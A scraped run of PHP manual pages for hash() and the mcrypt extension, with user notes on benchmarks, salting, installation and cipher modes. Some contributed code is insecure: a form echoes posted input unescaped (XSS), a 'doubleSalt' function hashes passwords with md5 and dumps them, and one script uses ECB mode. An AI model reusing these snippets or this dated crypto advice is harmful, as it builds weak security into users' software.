    $id = ($id == NULL) ? uniqid(hash("sha512",rand()), TRUE) : $id;
    $code = hash("sha512", $id.$salt);
    return $length == NULL ? $code : substr($code, 0, $length);
}
?>
rojaro at gmail dot com 15-Sep-2010 08:01
If the given algo parameter contains an algorithm that is not supported, the hash function will return bool(false) and issue a warning.
robert+nospam at robert-gonzalez dot com 17-Jan-2010 04:08
I've recently had the need to look at various hash algorithms and their values of the same string. To make my life a little easier I wrote this little script. It takes a string and runs it through all of the available hash algorithms on your server, outputting them in a clean little HTML table.

-----

<?php
/* Get the posted value of the form if there is one */
$p = empty($_POST['p']) ? null : $_POST['p'];
?>
<html>
<head><title>Hash testing</title></head>
<style type="text/css">
    table {border-collapse: collapse;}
    table, td, th {border: solid 1px #ccc;}
    th {background: #e1e1e1;border-color: #999;}
    td, th {padding: 0.25em;}
    td.algo {font-weight: bold;}
    tr.on td {background: #f0f0f0;}
</style>
<body>
    <h1>String hashing</h1>
    <form method="post" action="<?php echo basename(__FILE__) ?>">
        <p><label for="p">Enter a string to hash:</label><br /><input id="p" type="text" name="p" value="<?php echo $p ?>" /></p>
        <p><input type="submit" name="submit" value="Hash It" /></p>
    </form>

    <?php /* If there is a posted value use it */ ?>
    <?php if ($p): ?>
    <hr />
    <h2>Table of hash values for <em><?php echo $p ?></em> based on algorithm</h2>
    <table>
        <tr>
            <th>Algorithm</th>
            <th>Hashed value of <em><?php echo $p ?></em></th>
        </tr>
        <?php /* Loop through each hash algorithm, colorizing every other row */ ?>
        <?php $on = false; foreach (hash_algos() as $algo): ?>
        <tr<?php if ($on): ?> class="on"<?php endif; ?>>
            <td class="algo"><?php echo $algo ?></td>
            <td class="hash"><?php echo hash($algo, $p) ?></td>
        </tr>
    <?php $on = !$on; endforeach; ?>
    </table>
    <?php endif; ?>
</body>
</html>
Kai Petzke 16-Oct-2009 05:14
The well known hash functions MD5 and SHA1 should be avoided in new applications. Collission attacks against MD5 are well documented in the cryptographics literature and have already been demonstrated in practice. Therefore, MD5 is no longer secure for certain applications.

Collission attacks against SHA1 have also been published, though they still require computing power, which is somewhat out of scope. As computing power increases with time and the attacks are likely to get better, too, attacks against systems relying on SHA1 for security are likely to become feasible within the next few years.

There is no lack of potential alternative hash algorithms, as the many choices for the "algo" argument of PHPs hash() function already suggests. Unfortunately, there is lack of analysis, as to how secure these alternative algorithms are. It is rather safe to assume, though, that the SHA2 family with its most prominent members SHA-256 und SHA-512, is better than SHA1.

When storing password hashes, it is a good idea to prefix a salt to the password before hashing, to avoid the same passwords to hash to the same values and to avoid the use of rainbow tables for password recovery. Unlike suggested in other articles, there is no security advantage in putting the salt in the middle, or even at both the beginning and the end, of the combined salt-password-string.

Rather, there are two other factors, that determine the strength of the salt: Its length and its variability. For example, using the same salt for all passwords is easy to implement, but gives only very little additional security. In particular, if users type the same passwords, they will still hash to the same value!

Therefore, the salt should be random string with at least as many variable bits, as there are bits in the hash result. In the user database, store username, the randomly generated salt for that user, and the result of hashing the salt-password-string. Access authentication is then done by looking up the entry for the user, calculating the hash of the salt found in the database and the password provided by the user, and comparing the result with the one stored in the database.
luka8088 at gmail dot com 14-Mar-2009 03:20
Performance test results on my laptop:
Results are here shorten to fit php web notes ...
This was tested with 1024000 bytes (1000 KB) of random data, md4 always gets the first place, and md2 always get the last place :)

Results: (in microseconds)
   1.  md4                           5307.912
   2.  md5                           6890.058
   3.  crc32b                        7298.946
   4.  crc32                         7561.922
   5.  sha1                          8886.098
   6.  tiger128,3                    11054.992
   7.  haval192,3                    11132.955
   8.  haval224,3                    11160.135
   9.  tiger160,3                    11162.996
  10.  haval160,3                    11242.151
  11.  haval256,3                    11327.981
  12.  tiger192,3                    11630.058
  13.  haval128,3                    11880.874
  14.  tiger192,4                    14776.945
  15.  tiger128,4                    14871.12
  16.  tiger160,4                    14946.937
  17.  haval160,4                    15661.954
  18.  haval192,4                    15717.029
  19.  haval256,4                    15759.944
  20.  adler32                       15796.184
  21.  haval128,4                    15887.022
  22.  haval224,4                    16047.954
  23.  ripemd256                     16245.126
  24.  haval160,5                    17818.927
  25.  haval128,5                    17887.115
  26.  haval224,5                    18085.002
  27.  haval192,5                    18135.07
  28.  haval256,5                    18678.903
  29.  sha256                        19020.08
  30.  ripemd128                     20671.844
  31.  ripemd160                     21853.923
  32.  ripemd320                     22425.889
  33.  sha384                        45102.119
  34.  sha512                        45655.965
  35.  gost                          57237.148
  36.  whirlpool                     64682.96
  37.  snefru                        80352.783
  38.  md2                           705397.844

Code for generating this:
(compatible both with browser and cli mode)

<pre>

<?php

echo 'Building random data ...' . PHP_EOL;
@ob_flush();flush();

$data = '';
for ($i = 0; $i < 64000; $i++)
    $data .= hash('md5', rand(), true);

echo strlen($data) . ' bytes of random data built !' . PHP_EOL . PHP_EOL . 'Testing hash algorithms ...' . PHP_EOL;
@ob_flush();flush();

$results = array();
foreach (hash_algos() as $v) {
    echo $v . PHP_EOL;
    @ob_flush();flush();
    $time = microtime(true);
    hash($v, $data, false);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (hex)";
    $time = microtime(true);
    hash($v, $data, true);
    $time = microtime(true) - $time;
    $results[$time * 1000000000][] = "$v (raw)";
}

ksort($results);

echo PHP_EOL . PHP_EOL . 'Results: ' . PHP_EOL;

$i = 1;
foreach ($results as $k => $v)
    foreach ($v as $k1 => $v1)
        echo ' ' . str_pad($i++ . '.', 4, ' ', STR_PAD_LEFT) . '  ' . str_pad($v1, 30, ' ') . ($k / 1000) . ' microseconds' . PHP_EOL;

?>

</pre>
kevin at bionichippo dot com 14-Mar-2009 12:06
When using hash() for storing passwords, I've found that the best practice is not to use just one salt, but two. This example uses my preferred algorithm for passwords, whirlpool.

This way, even if someone can produce a rainbow table for your algorithm, and has the salt to do it with, they will never know where in the hash parameter the second salt was placed, because they don't know the length of the actual password.

<?php

function doubleSalt($toHash,$username){
$password = str_split($toHash,(strlen($toHash)/2)+1);
var_dump($password);
$hash = hash('md5', $username.$password[0].'centerSalt'.$password[1]);
return $hash;
}

?>

The str_split operation needs a +1 appended, otherwise the last character is cut off when the password is an odd number of characters, so that pass1 and pass2 will return the same value.

[NOTE BY danbrown AT php DOT net: Bug spotted by (Sunil) on 13-Mar-2009 and fix applied by OP.]
Leigh 06-Aug-2008 10:10
Just a quick note about these benchmarks and how you should apply them.

If you are hashing passwords etc for security, speed is not your friend. You should use the slowest method.

Slow to hash means slow to crack and will hopefully make generating things like rainbow tables more trouble than it's worth.
The 27-May-2008 03:52
Note that some of the hash algorithms provided are considered weak (e.g., md5, sha1 and haval128,3). If you have a choice in the matter, use ripemd160, whirlpool or tiger192,4.
inspiration3 at gmail dot com 04-May-2008 08:12
Another comprehensive benchmark script that orders results from best to worst and includes the crc32(), md5() and sha1() standalone functions:

<?php

define('HASH_TIMES', 1000);
define('HASH_DATA', 'The quick brown fox jumped over!'); // 32 bytes

header('Content-Type: text/plain');
echo 'Testing ' . strlen(HASH_DATA) . ' bytes of data over ' . HASH_TIMES . " iterations:\n";

foreach (hash_algos() as $algo) {
    $time = microtime(1);
    for ($i = 0; $i < HASH_TIMES; $i++) hash($algo, HASH_DATA);
    $results[$algo] = microtime(1) - $time;
}

$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) crc32(HASH_DATA); $results['crc32()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) md5(HASH_DATA); $results['md5()'] = microtime(1) - $time;
$time = microtime(1); for ($i = 0; $i < HASH_TIMES; $i++) sha1(HASH_DATA); $results['sha1()'] = microtime(1) - $time;

asort($results, SORT_NUMERIC);
foreach ($results as $algo => $time) echo "\n$time\t$algo";

?>
Marcus 27-Apr-2008 05:15
A upgrade of (dani88elx AT gmail DOT com)'s performance test [from 26-Jun-2007], this time grading them by speed (fastest first) and comparing times between hex and raw data.

<?php
function testAlgos() {
$algos = hash_algos();
$word="This will be crypted by all different algoritms";
$results = array();
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, false);
    $results["".(microtime(1)-$time)][] = "$algo (hex)";
}
foreach($algos as $algo)
{
    $time=microtime(1);
    $data = hash($algo, $word, true);
    $results["".(microtime(1)-$time)][] = "$algo (raw)";
}
ksort($results);
foreach($results as $time => &$algos) {
    echo $time."\n";
    sort($algos);
    foreach($algos as $algo)
        echo "\t".$algo."\n";
}
}
testAlgos();
?>
mikael at webhost3 dot eu 10-Mar-2007 05:34
<?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', 'string');
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5('string');
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', 'string');
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1('string');
echo microtime(1)-$time,': sha1<br>';
?>------------------------<br><?php
$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('md5', $i);
echo microtime(1)-$time,': hash/md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   md5($i);
echo microtime(1)-$time,': md5<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   hash('sha1', $i);
echo microtime(1)-$time,': hash/sha1<br>';

$time=microtime(1);
for ($i=0;$i<100000;$i++)
   sha1($i);
echo microtime(1)-$time,': sha1<br>';
?>
Gives:
0.33311605453491: hash/md5
1.0671429634094: md5
0.383131980896: hash/sha1
1.3252220153809: sha1
------------------------
0.37684988975525: hash/md5
1.1258299350739: md5
0.43960785865784: hash/sha1
1.3876020908356: sha1
hash_update
Mcrypt
Hash Functions


Mcrypt

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Mcrypt ciphers
  • Examples
  • Mcrypt Functions
    • mcrypt_cbc — Encrypts/decrypts data in CBC mode
    • mcrypt_cfb — Encrypts/decrypts data in CFB mode
    • mcrypt_create_iv — Creates an initialization vector (IV) from a random source
    • mcrypt_decrypt — Decrypts crypttext with given parameters
    • mcrypt_ecb — Deprecated: Encrypts/decrypts data in ECB mode
    • mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm
    • mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm
    • mcrypt_enc_get_iv_size — Returns the size of the IV of the opened algorithm
    • mcrypt_enc_get_key_size — Returns the maximum supported keysize of the opened mode
    • mcrypt_enc_get_modes_name — Returns the name of the opened mode
    • mcrypt_enc_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm
    • mcrypt_enc_is_block_algorithm_mode — Checks whether the encryption of the opened mode works on blocks
    • mcrypt_enc_is_block_algorithm — Checks whether the algorithm of the opened mode is a block algorithm
    • mcrypt_enc_is_block_mode — Checks whether the opened mode outputs blocks
    • mcrypt_enc_self_test — Runs a self test on the opened module
    • mcrypt_encrypt — Encrypts plaintext with given parameters
    • mcrypt_generic_deinit — This function deinitializes an encryption module
    • mcrypt_generic_end — This function terminates encryption
    • mcrypt_generic_init — This function initializes all buffers needed for encryption
    • mcrypt_generic — This function encrypts data
    • mcrypt_get_block_size — Gets the block size of the specified cipher
    • mcrypt_get_cipher_name — Gets the name of the specified cipher
    • mcrypt_get_iv_size — Returns the size of the IV belonging to a specific cipher/mode combination
    • mcrypt_get_key_size — Gets the key size of the specified cipher
    • mcrypt_list_algorithms — Gets an array of all supported ciphers
    • mcrypt_list_modes — Gets an array of all supported modes
    • mcrypt_module_close — Closes the mcrypt module
    • mcrypt_module_get_algo_block_size — Returns the blocksize of the specified algorithm
    • mcrypt_module_get_algo_key_size — Returns the maximum supported keysize of the opened mode
    • mcrypt_module_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm
    • mcrypt_module_is_block_algorithm_mode — Returns if the specified module is a block algorithm or not
    • mcrypt_module_is_block_algorithm — This function checks whether the specified algorithm is a block algorithm
    • mcrypt_module_is_block_mode — Returns if the specified mode outputs blocks or not
    • mcrypt_module_open — Opens the module of the algorithm and the mode to be used
    • mcrypt_module_self_test — This function runs a self test on the specified module
    • mcrypt_ofb — Encrypts/decrypts data in OFB mode
    • mdecrypt_generic — Decrypts data

User Contributed Notes

ysfbauchi at yahoo dot com 19-Feb-2011 10:25
//This is a des, 3des, aes and gost encryption program i wrote using php for my assignment

<?php
    if (isset($_REQUEST['select'])) {
    $choice = $_POST['select'];
      $mykey = $_POST['mykey'];
    $msg = $_POST['plain'];
    } else {
    die("algorithm not selected");
      }

    if ($msg == ''){
        die("Please enter a text to encrypt! ");
        }
    if ($mykey == ''){
        die("Please enter a key! ");
        }

    function algorithmdetails($cipher)
    {
        $chiphername = mcrypt_enc_get_algorithms_name($cipher);
        $blocksize = mcrypt_enc_get_block_size($cipher);
        $mykeysize = mcrypt_enc_get_supported_key_sizes($cipher);
        echo "<p><b>Cipher Name :</b> $chiphername";
        echo "<p><b>Block size :</b> $blocksize bytes";
        echo "<p><b>Key size :</b> ";
        foreach ($mykeysize as $value)
        {
        echo "$value bytes ";
        }unset($value);
    }

    function encryptnow($thecipher, $thekey, $themsg)
    {
        $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($thecipher), MCRYPT_DEV_RANDOM);
        mcrypt_generic_init($thecipher, $thekey, $iv);
        $encrypted_text = mcrypt_generic($thecipher, $themsg);
        echo "<html><hr size='2' ></html>";
        echo "<P><P><b>Plain Text : </b>";
        echo($themsg);
        echo "<p><b>Cipher Text : </b> ";
        echo "$encrypted_text";
        mcrypt_generic_deinit($thecipher);
        mcrypt_module_close($thecipher);
        die();
    }

    if ($choice == '1'){
        $cipher = mcrypt_module_open (MCRYPT_DES, '', 'ecb', '');
        algorithmdetails($cipher);
        encryptnow($cipher, $mykey, $msg);

    }elseif ($choice == '2'){
        $cipher = mcrypt_module_open (MCRYPT_3DES, '', 'ecb', '');
        algorithmdetails($cipher);
        encryptnow($cipher, $mykey, $msg);

    }elseif ($choice == '3'){
        $cipher = mcrypt_module_open (MCRYPT_RIJNDAEL_128, '', 'ecb', '');
        algorithmdetails($cipher);
        encryptnow($cipher, $mykey, $msg);

    }elseif ($choice == '4'){
        $cipher = mcrypt_module_open (MCRYPT_GOST, '', 'ecb', '');
        algorithmdetails($cipher);
        encryptnow($cipher, $mykey, $msg);

    }else {
        die("Please choose an algorithm!");
    }

?>
ghoffman at salientdigital dot com 23-Nov-2010 01:23
If you want a quick way to see what ciphers, modes, key, block and iv sizes are supported on your server, try something like the following.

Note: I used this simple bash: `locate libmcrypt` from terminal on Mac OS X to determine the install paths to the algorithms and modes directories. Lots of function calls generate warnings for certain ciphers, hence the use of error suppression.

<?php

$modes = mcrypt_list_modes();
$algorithms = mcrypt_list_algorithms();
foreach($algorithms as $cipher)
{
    echo "<h1 style=\"border-top:1px solid black;\">".$cipher."</h1>\n";
    foreach($modes as $mode)
    {
        echo "<h3>".$mode."</h3>\n";
        @$td = mcrypt_module_open(
            $cipher,
            '/usr/local/libmcrypt-2.5.8/modules/algorithms/',
            $mode,
            '/usr/local/libmcrypt-2.5.8/modules/modes/');
        @$key_size = mcrypt_enc_get_key_size($td);
        @$block_size = mcrypt_get_block_size($cipher,$mode);
        @$iv_size = mcrypt_get_iv_size($cipher, $mode);
        @mcrypt_module_close($td);
        echo "
        <pre>
            key_size: ". ($key_size?$key_size:'n/a')
      ."    block_size: ". ($block_size?$block_size:'n/a')
      ."    iv_size: ". ($iv_size?$iv_size:'n/a')
      ."  </pre>\n";
        $td=NULL;
        $key_size=NULL;
        $block_size=NULL;
        $iv_size=NULL;
    }
}

?>
rainbowarrior 28-Aug-2010 08:25
for Suse Linux Enterprise 11  I had used this to resolve the issue (as root)

 # yast -i  php5-mcrypt
 # rcapache2 restart

hope this helps
rainbowarrior 28-Aug-2010 08:24
for Suse Linux Enterprise 11  I had used this to resolve the issue (as root)

 # yast -i  php5-mcrypt
 # rcapache2 restart

hope this helps
Maarten Malaise 11-Apr-2010 05:38
people using phpmyadmin are redirected to this manual if they don't have mcrypt installed. If you want to install mcrypt on debian, first check your php version:

yourserver# php --version

Then install the appropriate version of mcrypt (php5-mcrypt if your php version is 5.x)

yourserver# apt-get install php4-mcrypt
...or...
yourserver# apt-get install php5-mcrypt
Anonymous 15-Oct-2009 08:11
When using 3DES between PHP and C#, it is to be noted that there are subtle differences that if not strictly observed, will result in annoying problem encrypt/decrypt data.

1), When using a 16 bytes key, php and c# generates total different outcome string. it seems that a 24 bytes key is required for php and c# to work alike.
2), php doesnt have a "padding" option, while c# has 3 (?). My work around is to add nulls i.e. chr(0) to the end of the source string to make its size times of 8, while in c#, PaddingMode.Zeros is required.
3) the key size has to be times of 8, in php, to make it work for c#.
hash
Introduction
Cryptography Extensions


Introduction

This is an interface to the mcrypt library, which supports a wide variety of block algorithms such as DES, TripleDES, Blowfish (default), 3-WAY, SAFER-SK64, SAFER-SK128, TWOFISH, TEA, RC2 and GOST in CBC, OFB, CFB and ECB cipher modes. Additionally, it supports RC6 and IDEA which are considered "non-free". CFB/OFB are 8bit by default.

User Contributed Notes

sujithayur at gmail dot com 16-Nov-2011 09:15
In linux systems,mcrypt is necessary for installing CMSes like majento. First You need to install the mcrypt library.

If using a Debian-based Linux system, you can run the following commands:

  sudo apt-get install php5-mcrypt

then restart the apache server

  sudo /etc/init.d/apache2 restart
Mcrypt
Installing/Configuring
Mcrypt


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

opensuse10 dot 3 at gmail dot com 10-Feb-2011 03:36
On opensuse 11.3 64 bits
/usr/lib64/php5/extensions
dork 11-May-2010 10:54
On ubuntu 8 (hardy), the mcrypt library seems to be here.

/usr/lib/php5/20060613/mcrypt.so

So I just created mcrypt.ini in /etc/php5/conf.d and added this one liner.

extension=mcrypt.so
biapar at redconsulting dot it 03-May-2010 02:10
Under IIS 7.5 - Win2k8r2 you must copy libmcrypt.dll under C:\Program Files (x86)\PHP
erik at 321x dot com 29-Apr-2010 02:22
With Windows 7 (64 bits) I needed to uncomment the mcrypt line as well, so:
extension=php_mcrypt.dll

And after that I've copied the libmcrypt.dll to c:\Windows.

Apache restart (with administrator rights of course) and there you go.
bobeck at lycos dot com 06-Jan-2010 06:32
To make sure that mcrypt doesn't fail to load when
using Windows XP , Apache 2 and php 5, even if all the required procedure to install it has been accomplished already, copy libmcrypt.dll, which is normally in the php main directory, into the php\ext directory.
kmasaryk 14-Jul-2009 05:30
Also on Ubuntu, make sure you actually have php5-mcrypt installed. You can install it with:

sudo apt-get install php5-mcrypt

If you get any errors, you may need to enable the 'universe' repository, explained here:
https://help.ubuntu.com/community/Repositories/Ubuntu
Ilia 03-Jun-2009 07:00
For Ubuntu Linux add a line:
extension=php_mcrypt.so
to the file /etc/php5/apache2/php.ini
and restart network:
sudo /etc/init.d/networking restart
AJP 03-May-2009 08:09
(Relating to XAMPP Lite and MySQL)

PROBLEM (seen on MySQL admin page): cannot load mcrypt extension. please check your php configuration

SOLUTION:  With XAMPP Lite 1.7.1 all I had to do was stop the server, edit D:\xampplite\php\php.ini and uncomment (remove the semicolon) the following line:

extension=php_mcrypt.dll

Elsewhere in the file is a line setting the path to the extension directory (i.e. where php_mycrypt.dll is located) -- search for extension_dir.  It should look something like:

extension_dir = "\xampplite\php\ext\"

Obviously, adjust accordingly for your own drive and directory structure.
miroox-moo at yahoo dot co dot id 18-Mar-2009 01:42
thanks to :
 rskret at gmail dot com
01-Mar-2009 12:04
PROBLEM: cannot load mcrypt extension. please check your php configuration

this setting my experience for xampp :D
I do the same step but with a little modified

for the first, stop all xampp services, and then do this step :

copy file libmcrypt.dll from D:\xampplite\php\
to : C:\WINDOWS\system32

open these 2files below :
D:\xampplite\apache\bin\php.ini
D:\xampplite\php\php.ini

change this text :
;extension=php_mcrypt.dll
to
extension=php_mcrypt.dll
(ie. remove ; )

Note :
Please adjust the directory location per your own installation.
rskret at gmail dot com 28-Feb-2009 04:04
PROBLEM: cannot load mcrypt extension. please check your php configuration

I have done as suggested by the contributor before me and copied libmcrypt.dll from F:\wamp\bin\php\PHP52~1.8
to C:\WINDOWS\system32 . This did not work on it's own. I found other advice as follows and now mcrypt is working.

OTHER ADVICE:

Go to F:\wamp\bin\php\PHP52~1.8\php.ini
change ;extension=php_mcrypt.dll
to      extension=php_mcrypt.dll
(ie. remove ; )

now go to the following 2 files and do the same:
F:\wamp\bin\php\PHP52~1.8\phpForApache.ini
F:\wamp\bin\apache\APACHE~1.11\bin\php.ini

Please adjust the directory location per your own installation.
ch0wnag3 AT gmail DOT com 21-Jul-2008 02:16
On Windows installations, for the dynamic extension (extension=php_mcrypt.dll) to load properly, you must copy libmcrypt.dll from your PHP root folder (e.g. C:\PHP) to the following location:

C:\WINDOWS\system32

With this done, the dynamic extension will load up just fine.
Introduction
Requirements
Mcrypt


Requirements

These functions work using » mcrypt. To use it, download libmcrypt-x.x.tar.gz from » http://mcrypt.sourceforge.net/ and follow the included installation instructions.

As of PHP 5.0.0 you will need libmcrypt Version 2.5.6 or greater.

Windows users will find the library is the PHP 5.2 Windows binaries release. PHP 5.3 Windows binaries uses the static version of the MCrypt library, no DLL are needed.

If you linked against libmcrypt 2.4.x or higher, the following additional block algorithms are supported: CAST, LOKI97, RIJNDAEL, SAFERPLUS, SERPENT and the following stream ciphers: ENIGMA (crypt), PANAMA, RC4 and WAKE. With libmcrypt 2.4.x or higher another cipher mode is also available; nOFB.

User Contributed Notes

Antoine 30-Nov-2010 05:53
mcrypt is built in for PHP 5.3.x on windows, you don't need to do anything with a dll anymore.
bwessel at matharts dot com 17-Sep-2009 03:44
I found the libmcrypt-2.5.7.tar.gz file here: ftp://mcrypt.hellug.gr/pub/crypto/mcrypt/libmcrypt

The mcrypt link above only has mcrypt-2.x.x.tar.gz files which when compiled said it was missing the libmcrypt file.  The libmcrypt-2.5.7.tar.gz worked when compiled and installed on Fedora.  I had to use configure options --disable-posix-threads --enable-dynamic-loading for libmcrypt, and -with-mcrypt=usr/local/include configure option for php, which is the folder with mcrypt.h
tom420 dot duhamel at gmail dot com 02-Feb-2009 09:55
If installing libmcrypt from RPM, you need both libmcrypt*.rpm and libmcrypt-devel*.rpm. I found RPMs for both were available for most platforms on this page:

http://rpmforge.net/user/packages/libmcrypt/

Also files.edin.dk does not seem to carry the win32 files anymore.
Installing/Configuring
Installation
Installing/Configuring


Installation

You need to compile PHP with the --with-mcrypt[=DIR] parameter to enable this extension. DIR is the mcrypt install directory. Make sure you compile libmcrypt with the option --disable-posix-threads .

User Contributed Notes

trenton at rainleader dot com 03-Dec-2010 08:22
If using a Debian-based Linux system, you can run the following commands:

sudo apt-get install php5-mcrypt
sudo /etc/init.d/apache2 restart
james dot mclean at gmail dot com 12-Oct-2009 09:23
You can install Mcrypt from the PHP Source Tree as a module if you choose.

You first need to ensure you have libmcrypt, libmcrypt-devel, and mcrypt installed, then do:

# cd php-5.x.x/ext/mcrypt
# phpize
# aclocal
# ./configure
# make && make install

Enable the module by adding: 'extension=mcrypt.so' to PHP.ini.

Done!

Very handy if you need to install a single module and you may have installed PHP via RPM, but don't wish to recompile your whole PHP install.
OpenSourceVictim 16-Aug-2009 07:36
Mcrypt.dll should be included in the WINDOWS installer of PHP.
Or in the WINDOWS installer of phpmyadmin.
bmathis-php dot net at directedge dot us 18-Sep-2008 12:27
For recent versions of mcrypt, you must also use the compile option "--enable-dynamic-loading", so you need both of these:
--disable-posix-threads --enable-dynamic-loading
info at guffert dot net 01-Jul-2008 01:55
In case you are an operator and you are not familiar with the generation of software you must know, that the installation of additional libraries may be  insufficient. You may suffer a malfuntion of the package with the known http server log message: "Cannot load mcrypt extension. Please check your PHP configuration." although you expect the configuration to be right.
For an operator, generation of software is inconvenient. Instead you should check your PHP basic installation. The problem may be that you do not have extracted the mcrypt extension during the installation process. Using the Windows installer, you may change your installation by rerunning the setup. In case you have the right php.ini, the extension declaration in php.ini and libmcrypt.dll in the system path the extension should work. Keep control in the http server log!
mihai doru 30-May-2008 02:07
If you wish to install mcrypt on Windows, you should also place libmcrypt.dll in the PATH of your system.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mcrypt configuration options
Name | Default | Changeable | Changelog
mcrypt.algorithms_dir | NULL | PHP_INI_ALL |
mcrypt.modes_dir | NULL | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mcrypt.algorithms_dir string

The directory that contains the algorithms. Defaults to the directories compiled within libmcrypt, which is typically /usr/local/lib/libmcrypt. See mcrypt_list_algorithms() for additional details.

mcrypt.modes_dir string

The directory that contains the modes. Defaults to the directories compiled within libmcrypt, which is typically /usr/local/lib/libmcrypt. See mcrypt_list_modes() for additional details.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

mcrypt_module_open() returns an encryption descriptor.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Mcrypt can operate in four block cipher modes (CBC, OFB, CFB, and ECB). If linked against libmcrypt-2.4.x or higher the functions can also operate in the block cipher mode nOFB and in STREAM mode. Below you find a list with all supported encryption modes together with the constants that are defines for the encryption mode. For a more complete reference and discussion see Applied Cryptography by Schneier (ISBN 0-471-11709-9).

  • MCRYPT_MODE_ECB (electronic codebook) is suitable for random data, such as encrypting other keys. Since data there is short and random, the disadvantages of ECB have a favorable negative effect.
  • MCRYPT_MODE_CBC (cipher block chaining) is especially suitable for encrypting files where the security is increased over ECB significantly.
  • MCRYPT_MODE_CFB (cipher feedback) is the best mode for encrypting byte streams where single bytes must be encrypted.
  • MCRYPT_MODE_OFB (output feedback, in 8bit) is comparable to CFB, but can be used in applications where error propagation cannot be tolerated. It's insecure (because it operates in 8bit mode) so it is not recommended to use it.
  • MCRYPT_MODE_NOFB (output feedback, in nbit) is comparable to OFB, but more secure because it operates on the block size of the algorithm.
  • MCRYPT_MODE_STREAM is an extra mode to include some stream algorithms like "WAKE" or "RC4".

Some other mode and random device constants:

MCRYPT_ENCRYPT (integer)
MCRYPT_DECRYPT (integer)
MCRYPT_DEV_RANDOM (integer)
MCRYPT_DEV_URANDOM (integer)
MCRYPT_RAND (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Mcrypt ciphers
Mcrypt


Mcrypt ciphers

Here is a list of ciphers which are currently supported by the mcrypt extension. For a complete list of supported ciphers, see the defines at the end of mcrypt.h. The general rule with the mcrypt-2.2.x API is that you can access the cipher from PHP with MCRYPT_ciphername. With the libmcrypt-2.4.x and libmcrypt-2.5.x API these constants also work, but it is possible to specify the name of the cipher as a string with a call to mcrypt_module_open().

  • MCRYPT_3DES
  • MCRYPT_ARCFOUR_IV (libmcrypt > 2.4.x only)
  • MCRYPT_ARCFOUR (libmcrypt > 2.4.x only)
  • MCRYPT_BLOWFISH
  • MCRYPT_CAST_128
  • MCRYPT_CAST_256
  • MCRYPT_CRYPT
  • MCRYPT_DES
  • MCRYPT_DES_COMPAT (libmcrypt 2.2.x only)
  • MCRYPT_ENIGMA (libmcrypt > 2.4.x only, alias for MCRYPT_CRYPT)
  • MCRYPT_GOST
  • MCRYPT_IDEA (non-free)
  • MCRYPT_LOKI97 (libmcrypt > 2.4.x only)
  • MCRYPT_MARS (libmcrypt > 2.4.x only, non-free)
  • MCRYPT_PANAMA (libmcrypt > 2.4.x only)
  • MCRYPT_RIJNDAEL_128 (libmcrypt > 2.4.x only)
  • MCRYPT_RIJNDAEL_192 (libmcrypt > 2.4.x only)
  • MCRYPT_RIJNDAEL_256 (libmcrypt > 2.4.x only)
  • MCRYPT_RC2
  • MCRYPT_RC4 (libmcrypt 2.2.x only)
  • MCRYPT_RC6 (libmcrypt > 2.4.x only)
  • MCRYPT_RC6_128 (libmcrypt 2.2.x only)
  • MCRYPT_RC6_192 (libmcrypt 2.2.x only)
  • MCRYPT_RC6_256 (libmcrypt 2.2.x only)
  • MCRYPT_SAFER64
  • MCRYPT_SAFER128
  • MCRYPT_SAFERPLUS (libmcrypt > 2.4.x only)
  • MCRYPT_SERPENT(libmcrypt > 2.4.x only)
  • MCRYPT_SERPENT_128 (libmcrypt 2.2.x only)
  • MCRYPT_SERPENT_192 (libmcrypt 2.2.x only)
  • MCRYPT_SERPENT_256 (libmcrypt 2.2.x only)
  • MCRYPT_SKIPJACK (libmcrypt > 2.4.x only)
  • MCRYPT_TEAN (libmcrypt 2.2.x only)
  • MCRYPT_THREEWAY
  • MCRYPT_TRIPLEDES (libmcrypt > 2.4.x only)
  • MCRYPT_TWOFISH (for older mcrypt 2.x versions, or mcrypt > 2.4.x )
  • MCRYPT_TWOFISH128 (TWOFISHxxx are available in newer 2.x versions, but not in the 2.4.x versions)
  • MCRYPT_TWOFISH192
  • MCRYPT_TWOFISH256
  • MCRYPT_WAKE (libmcrypt > 2.4.x only)
  • MCRYPT_XTEA (libmcrypt > 2.4.x only)

You must (in CFB and OFB mode) or can (in CBC mode) supply an initialization vector (IV) to the respective cipher function. The IV must be unique and must be the same when decrypting/encrypting. With data which is stored encrypted, you can take the output of a function of the index under which the data is stored (e.g. the MD5 key of the filename). Alternatively, you can transmit the IV together with the encrypted data (see chapter 9.3 of Applied Cryptography by Schneier (ISBN 0-471-11709-9) for a discussion of this topic).

User Contributed Notes

robin 17-Dec-2010 09:41
